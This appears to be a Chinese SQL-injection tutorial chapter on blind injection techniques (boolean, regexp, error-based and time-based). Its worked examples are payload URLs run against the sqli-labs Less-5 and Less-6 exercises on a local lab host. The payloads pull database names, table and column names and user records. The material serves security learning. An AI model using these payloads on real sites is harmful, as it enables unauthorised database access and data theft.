共计 11400 个字符,预计需要花费 29 分钟才能阅读完成。
第二章 盲注
注意: 本文大部分内容都是参考 mysql 注入天书
学习篇
何为盲注?
盲注
就是 在 sql 注入过程中, sql 语句执行的选择后, 选择的数据不能回显
到前端页面. 此时, 我们需要利用一些方法进行判断或者尝试, 这个过程称之为盲注
, 这种情况下往往需要 一个一个字符的去猜解, 需要用到截取字符串.
0x01 基于布尔 SQL 盲注
我们可以利用 逻辑判断 进行盲注, 而布尔注入能够利用的根本就是, 我们能够看到 true 和 false 返回页面内容不一致
因为不知道字段是怎样的, 因此只能一个字符一个字符的猜, 所以这里我们需要先学习字符串截取函数:left()
, right()
,substr()
, substring()
, mid()
, 以及经常一起配套使用的 ascii 转换函数ascii()
, ord()
, 最后还有一些配合使用的 mysql 语句: IF()
,IFNULL()
,SELECT CASE WHEN
left()
和right()
语法如下:
left(string, n)
-- 得到字符串 string 左边 n 个字符
right(string, n)
-- 得到字符串 string 右边 n 个字符
一般地, 我们使用left(database(),1) > 'a'
, 查看数据库名第一位, left(database(),2) > 'ab'
, 查看数据库名前二位.
right()
用法类似, 只不过方向反了 , 从后往前
substr()
, substring()
, mid()
substr()
, substring()
, mid()
函数实现的功能是一样的, 均为 截取字符串 , 而且 用法相同
用法 1: substr(str, pos, len)
用法 2: substr(str FROM pos FOR len)
-- 从字符串 str 的第 pos 个字符串开始取, 只取 len 个字符
--str: 要处理的字符串
--pos: 开始的位置(初始值是 1)
--len: 截取的长度
ps:
substr(str FROM pos FOR len)
是应对 逗号 被过滤的情况
比方说, 从 abcde
的第二个字符开始取, 只取 3 个字符, 这里分别演示 substr()
, substring()
和mid()
函数
学习到这里, 基本可以应对一些简单的 bool 注入的情况了, 所以, 下面我大概讲一下 bool 的注入流程. 比如说, 原始的 sql 语句如下:
SELECT username FROM users WHERE id=1;
然后我们发现, 当注入 and 1=1
的时候, 页面返回正常, 注入 and 1=2
的时候页面返回不正常, 那么我们就可以初步判断为 bool 注入了
ps: 其实只要 true 和 false 返回的页面不同, 我们能够区别出来就行
这里假设我们想拿到它的数据库名称, 首先要拿到数据库长度, 因为知道数据库长度之后, 我们才知道什么时候停止注入
在实战中, 我们会使用substr(DATABASE(),1,1) > 'a'
, 查看数据库名第一位, substr(DATABASE(),2,1)
, 查看数据库名第二位, 依次猜解各个字符.
ascii()
和ord()
在有些情况下, 引号可能被过滤, 所以这里需要将字符转换成 ascii, 也就是数字表示, 那就不需要引号括起来了
ascii()
-- 将第一个字符转换 为 ascii 值
ord()
-- 将第一个字符转换 为 ascii 值
ps: 两个函数都是只转换第一个字符. 两个函数唯一的区别是, ord()函数遇到多字节, 比如说汉字, 会将汉字转换成
((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code...]
用 ascii 表示多字节字符代码 的这种形式
因此, 为了避免引号被过滤的问题, 我们通常会用下面的注入语句去盲注数据库
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
然后用二分法来测试 ascii 码值, 然后再递增 substr(str, pos, len)
中的 pos
值, 即第一个字符找到后, 找第二个字符, 以此类推, 这里我们先拆开分析一下该注入语句
先查数据库中的第一个表的名字
然后用字符串截取函数, 得到该表的第一个字符
接着用 ascii()
函数将该字符转换成 ascii 码
最后就是穷举测试了, 当条件满足时:
当条件不满足时:
ps: 返回 1 和 0 代表 true 与 false, 在实战中, 两种结果的页面会不一致, 这个具体在下面实战中会具体讨论.
IF()
,IFNULL()
,SELECT CASE WHEN
IF()
IF()
语法如下:
IF(expr1, expr2, expr3)
-- 如果 expr1 是 TRUE(expr1 <> 0 and expr2 <> NULL), 则 IF()的返回值为 expr2; 否则返回值则为 expr3.
IFNULL()
和CAST()
语法如下:
IFNULL(expr1,expr2)
-- 如果 `expr1` 不是 NULL, 则返回 `expr1`, 否则它返回 `expr2`.
正常用法如下:
sql 注入的时候用法需要配合CAST()
, 语法如下:
CAST(expression AS data_type)
-- 将 expression 转换为 data_type 这种数据类型
-- 我们常用的 data_type 是 CHAR 字符类型
接着配合我们之前学过的 ORD()
和MID()
函数, 注入语句如下: 返回 第一个字符的 ASCII 码
SELECT ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20) FROM users LIMIT 0,1),1,1));
然后就是一步步的判断一下第一个字符的 ascii 码的区间, 以及同样操作判断第二个字符了
因为最后需要转换成 ascii, 所以中间需要 case 转换成 char, 不然是中文怎么办???
SELECT CASE WHEN
语法如下:
CAST WHEN condition THEN result [WHEN ...] [ELSE result] END
-- 类似于其他语言的 if/else 语句
例子如下:
通常结合 sleep()
函数使用
regexp 正则注入
如果这种单个字符的爆破无法使用, 也即是说, 字符串无法拆分, 这时候可以使用正则表达式
用法介绍
select user() regexp '^[a-z]';
正则表达式的用法, 假设 user()
结果为 root
, regexp
后面接匹配 root
的正则表达式
第二位 可以用 select user() regexp '^ro'
来进行. 如下图
当正确的时候显示结果为 1, 不正确的时候显示结果为 0
在 Mysql5+ 中,
information_schema
库中存储了所有的库名
,表名
以及字段名
信息, 故攻击方式如下:
-
先判断第一个表名的第一个字符是否是
a-z
中的字符 , 其中security
是假设已知的库名.注:正则表达式中
^[a-z]
表示字符串中开始字符是在a-z
范围内index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
-
接下来判断第一个字符是否是
a-e
中的字符index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^[a-e]' LIMIT 0,1)/*
-
接下来确定该字符是
e
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '^e' LIMIT 0,1) /*
-
接下来更换表达式:
'^e[a-z]' -> '^em[a-z]' -> '^ema[a-z]' -> '^emai[a-z]' -> '^email[a-z]' -> '^emails[a-z]'-> FALSE
这时说明表名为
emails
, 要验证是否是该表明 正则表达式为'^emails$'
, 但是没这必要 直接判断table_name = 'emails'
不就行了? 当然, 如果=
被过滤当我没说 …ps: 如何知道匹配结束了? 这里大部分根据一般的命名方式 (经验) 就可以判断. 但是如何你在无法判断的情况下, 可以用
table_name regexp '^emails$'
来进行判断.^
是从开头进行匹配,$
是从结尾开始判断. -
接下来猜解其他表, 如假设我们知道其中包含
users
表, 则如下语句说明这样子是正确的ps: 注意:
table_name
有好几个, 我们只得到了一个emails
, 如何知道其他的? 这里千万不能修改limit 0,1
(从你的表中的第 0 个数据开始, 只读取一个) 为limit 1,1
, 因为limit
作用在前面的select
语句中, 而不是regexp
. 其实在regexp
中我们是取匹配table_name
中的内容, 只要table_name
中有的内 容, 我们用regexp
都能够匹配到 , 因此我们在使用regexp
时, 要注意有可能有多个项, 同时要一个个字符去爆破. 因此上述语句不仅仅可以选择emails
, 还可以匹配其他项
以下是另外两种常用用法
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^r');
like 匹配注入
和上述的正则类似, mysql 在匹配的时候我们可以用 like
进行匹配.
用法:
select user() like 'ro%'
0x02 基于报错的 SQL 盲注 —- 构造 payload 让信息通过错误提示回显出来
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
- 一是需要
concat
计数 - 二是
floor
, 取得 0 or 1, 进行数据的 重复 - 三是
group by
进行分组, 具体原理大致为在进行count
的时候, 插入了重复的 key
-
以上语句可以简化成如下的形式.
select count(*) from information_schema.tables group by concat(database(), floor(rand(0)*2));
-
如果 关键的表 被禁用了, 可以使用这种形式
select count(*) from (select 1 union select null union select !1)a group by concat(database(),floor(rand(0)*2));
-
如果
rand
被禁用了可以使用 用户变量 来报错用户变量, 用
:=
作分配符, 下面例子就是t1=t2+t3=4
select min(@a:=1) from information_schema.tables group by concat(user(),@a:=(@a+1)%2)
select exp(~(select * FROM(SELECT USER())a))
double 数值类型超出范围, 具体原理如下:
- 当传递一个 大于 709的值时, 函数
exp()
就会引起一个溢出错误 - 将
0
按位取反会得到18446744073709551615
-
mysql 函数执行成功则会返回
0
, 我们将 成功执行的函数取反 就会得到最大的无符号 BIGINT 值
-
综合上面三点, 我们 通过
子查询
与按位求反, 造成一个DOUBLE overflow error
, 并借由此注出数据.select exp(~(select * from (select user())a));
-
接下来开始注入数据
-
得到表名, 这里通过改变
limit 0,1
->limit 1,1
->limit 2,1
->limit 3,1
->limit 4,1
->Finish 来获取不同的表select exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
-
得到列名, 同样是改变
limit x,y
中的x
, 顺便提一下,x
代表从第几位开始,y
代表长度select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
-
exp()
为以e
为底的对数函数; 版本在 5.5.5 及其以上select exp(~(select * from (select user())a));
-
select !(select * from (select user())x) -(ps: 这是减号) ~0
bigint
超出范围;~0
是对0
逐位取反, 在 5.5.5 及其以上
- 数据类型
BIGINT
的长度为 8 字节, 也就是说, 长度为 64 比特. 这种数据类型 最大的有符号值, 用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111
”、“0x7fffffffffffffff
”和“9223372036854775807
”. 当对这个值进行某些数值运算的时候, 比如加法运算, 就会引起“BIGINT value is out of range
”错误. - 为了避免出现上面这样的错误, 我们只需将其转换为 无符号整数 即可. 对于无符号整数来说, BIGINT 可以存放的最大值用二进制、十六进制和十进制表示的话, 分别为“
0b1111111111111111111111111111111111111111111111111111111111111111
”、“0xFFFFFFFFFFFFFFFF
”和“18446744073709551615
”. 同样的, 如果对这个值进行数值表达式运算, 如加法或减法运算, 同样也会导致“BIGINT value is out of range
”错误. - 上面讲到, 如果我们对数值
0
逐位取反 , 会得到一个 无符号的最大 BIGINT 值 , 这一点是显而易见的. 所以, 如果我们对~0
进行加减运算
的话, 也 会导致 BIGINT 溢出错误.
ps: 实战中, 我们一般都是用
-
, 很少用+
, 因为+
容易被浏览器认为是空格
- 接下来就是核心: 利用子查询引起 BITINT 溢出, 从而设法提取数据 . 我们知道, 如果一个查询成功返回, 其返回值为 0, 所以对其进行
逻辑非
的话就会变成 1 , 举例来说, 如果我们对类似(select * from (select user())x)
这样的查询进行逻辑非的话, 就会有: -
所以说, 只要我们能够 组合 好
逐位取反
和逻辑取反
运算, 我们就能利用溢出错误来成功的注入查询select !(select * from (select user())x) - ~0;
- 参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry…
extractvalue(1,concat(0x7e,(select @@version),0x7e))
语法如下:
extractvalue(目标 xml 文档, xml 路径)
-- 对 XML 文档进行查询的函数
第一个参数随便填, 第二个参数 xml 路径
才是可操作的地方, xml 文档中查找字符位置是用斜杠隔开 /xxx/xxx/xxx/…
这种格式, 如果我们写入其他格式, 就会报错, 并且会返回我们写入的非法格式内容, 而这个非法的内容就是我们想要查询的内容.
正常查询 第二个参数的位置格式 为 /xxx/xxx/
, 即使查询不到也不会报错
SELECT username FROM users WHERE id=1 and (extractvalue('anything','/xxx/xxx'));
使用字符串连接符如 concat()
拼接 /
, 效果和上面相同, 因为在 anything
中查询不到位置是 /database()
的内容, 但同时也没有语法错误, 不会报错
SELECT username FROM users WHERE id=1 and (extractvalue('anything',concat('/',(SELECT database()))));
下面故意写入语法错误:
SELECT username FROM users WHERE id=1 and (extractvalue('anything',concat('~',(SELECT database()))));
可以看到, 因为以 ~
开头的内容不是 xml 格式的语法, 因此会报错, 而且会显示无法识别的内容是什么
ps:
extractvalue()
能查询字符串的最大长度为 32, 就是说如果我们想要的结果超过 32, 就需要用字符串截取函数, 如substr()
函数截取
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
updatexml()
函数与 extractvalue()
类似, 是更新 xml 文档的函数.
语法如下:
updatexml(目标 xml 文档, xml 路径, 更新的内容)
同样地, 只需要关注第二个参数 –xml 路径
, 用同样的方法进行报错即可
SELECT username FROM users WHERE id=1 and (updatexml('anything',concat('~',(SELECT database())),'anything'));
当然, 最大长度也是 32
0x03 基于时间的 SQL 盲注 —- 延时注入
sleep()
sleep()
函数语法如下:
SLEEP(duration)
-- 睡眠 (暂停) 时间为 duration 参数给定的秒数, 然后返回 0. 若 SLEEP()被中断, 它会返回 1
有了延迟函数之后, 我们通常需要配合 IF()
语句以及字符串截取函数, 如下:
SELECT * FROM users WHERE id=1 AND IF((substr((SELECT username FROM users WHERE id=1),1,1))='D',sleep(3),0);
可以看到, 正确则延迟了 3s, 不正确则立刻返回
benchmark()
语法如下:
benchmark(count, expr)
-- 重复执行 count 次表达式 expr, 结果值通常为 0
因为函数执行次数比较大, 所以返回结果的时间比平时要长, 因此可以通过时间长短的变化, 判断语句是否执行成功
因此上面 sleep()
的例子可以修改成如下:
SELECT * FROM users WHERE id=1 AND IF((substr((SELECT username FROM users WHERE id=1),1,1))='D',benchmark(10000000, sha(1)),0);
数据库 | 延迟用的函数 |
---|---|
mysql |
BENCHMARK(100000,MD5(1)) or sleep(5)
|
Postgresql |
PG_SLEEP(5) or GENERATE_SERIES(1,10000)
|
mssql | WAITFOR DELAY '0:0:5' |
实战篇
Less-5
这关正确的思路是盲注. 从源代码中可以看到, 运行返回结果正确的时候只返回 you are in....
, 不会返回数据库当中的信息了, 所以我们提倡用盲注的方法解决
我们从这这一关开始学习盲注, 结合上面的知识点, 将上述能使用的 payload 展示一下使用方法.
bool 盲注
(1) 利用 left(database(),1)
进行尝试
查看一下 version()
, 数据库的版本号为 5.5.44
然后使用如下语句看版本号的第一位是不是 5, 明显的返回的结果是正确的.
http://192.168.99.100:32769/Less-5/?id=1' and left(version(),1)=5%23
注意: 最后注释那里, 不直接用
#
, 是因为#
被 Firefox 识别成了锚点, 所以要用#
的 url 的编码%23
, 当然你也可以用--+
做注释
当版本号不正确的时候, 则不能正确显示 you are in......
http://192.168.99.100:32769/Less-5/?id=1' and left(version(),1)=6%23
接下来看一下数据库的长度
http://192.168.99.100:32769/Less-5/?id=1' and length(database())=8%23
长度为 8 时, 返回正确结果, 说明长度为 8.
猜测数据库第一位
http://192.168.99.100:32769/Less-5/?id=1'and left(database(),1)>'a'%23
Database()
为 security
, 所以我们看他的第一位是否 > a, 很明显的是 s > a
, 因此返回正确. 当我们不知情的情况下, 可以用二分法来提高注入的效率.
猜测数据库第二位
得知第一位为 s
, 我们看前两位是否大于 sa
http://192.168.99.100:32769/Less-5/?id=1'and left(database(),2)>'sa'%23
接下来的操作同上面一样, 这里就不再重复了
(2) 利用 substr()
ascii()
函数进行尝试
大概用法如下:
ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101
根据以上得知数据库名为 security
, 那我们利用此方式获取 security
数据库下的表.
获取 security
数据库的 第一个表 的第一个字符
http://192.168.99.100:32769/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
此处同样的使用二分法进行测试, 直到测试正确为止.
此处结果应该是 101, 因为第一个表示 email, e
的 ascii 就是 101
如何获取 第一个表的第二位字符 呢?
这里我们已经了解了 substr()
函数, 这里使用 substr(,2,1)
即可.
那如何 获取第二个表 呢?
这里可以看到我们上述的语句中使用的 limit 0,1
. 意思就是从第 0 个开始, 获取第一个. 那要获取第二个是不是就是 limit 1,1
!
http://192.168.99.100:32769/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113--+
此处 113 返回是正确的, 因为第二个表示 referers 表, 所以第一位就是 r.
以后的过程就是不断的重复上面的, 这里就不重复造轮子了. 原理已经解释清楚了.
当你按照方法运行结束后, 就可以获取到所有的表的名字.
(3) 利用 regexp
获取 users 表中的列
查看 users
表中的列名是否有以 us
开头 的列
http://192.168.99.100:32769/Less-5/?id=1'and 1=(select 1 from information_schema.columns where table_name='users'and column_name regexp'^us[a-z]' limit 0,1)--+
使用如下语句可以看到 username
存在. 我们可以将 username
换成 password
等其他的项也是正确的
http://192.168.99.100:32769/Less-5/?id=1'and 1=(select 1 from information_schema.columns where table_name='users'and column_name regexp'^username$' limit 0,1)--+
(4) 利用 ord()
和 mid()
函数获取 users 表的内容
获取 users 表中的内容. 获取 username 中的第一行的第一个字符的 ascii, 与 68 进行比较, 即为D
. 而我们从表中得知第一行的数据为 Dumb
. 所以接下来只需要重复造轮子即可.
http://192.168.99.100:32769/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
报错注入
http://192.168.99.100:32769/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
利用 double 数值类型超出范围进行报错注入
http://192.168.99.100:32769/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
xpath 函数报错注入
http://192.168.99.100:32769/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
updatexml 函数报错注入
http://192.168.99.100:32769/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
利用数据的重复性
http://192.168.99.100:32769/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
延时注入
利用 sleep()
函数进行注入, 如下语句, 当错误的时候会有 5 秒的时间延时.
http://192.168.99.100:32769/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
利用 BENCHMARK()
进行延时注入
http://192.168.99.100:32769/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
当结果正确的时候, 运行 ENCODE('MSG','by 5 seconds')
操作 50000000 次, 会占用一段时间.
至此, 我们已经将上述讲到的盲注的利用方法全部在 less5 中演示了一次. 在后续的关卡中, 将会挑一种进行演示, 其他的盲注方法请参考 less5.
Less-6
Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时, 对 id 参数进行了处理. 这里可以从源代码中可以看到.
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
那我们在这一关的策略和 less5 的是一样的. 只需要将 '
替换成 "
.
这里我们演示其中一个 payload
http://192.168.99.100:32769/Less-5/?id=1"and left(version(),1)=5--+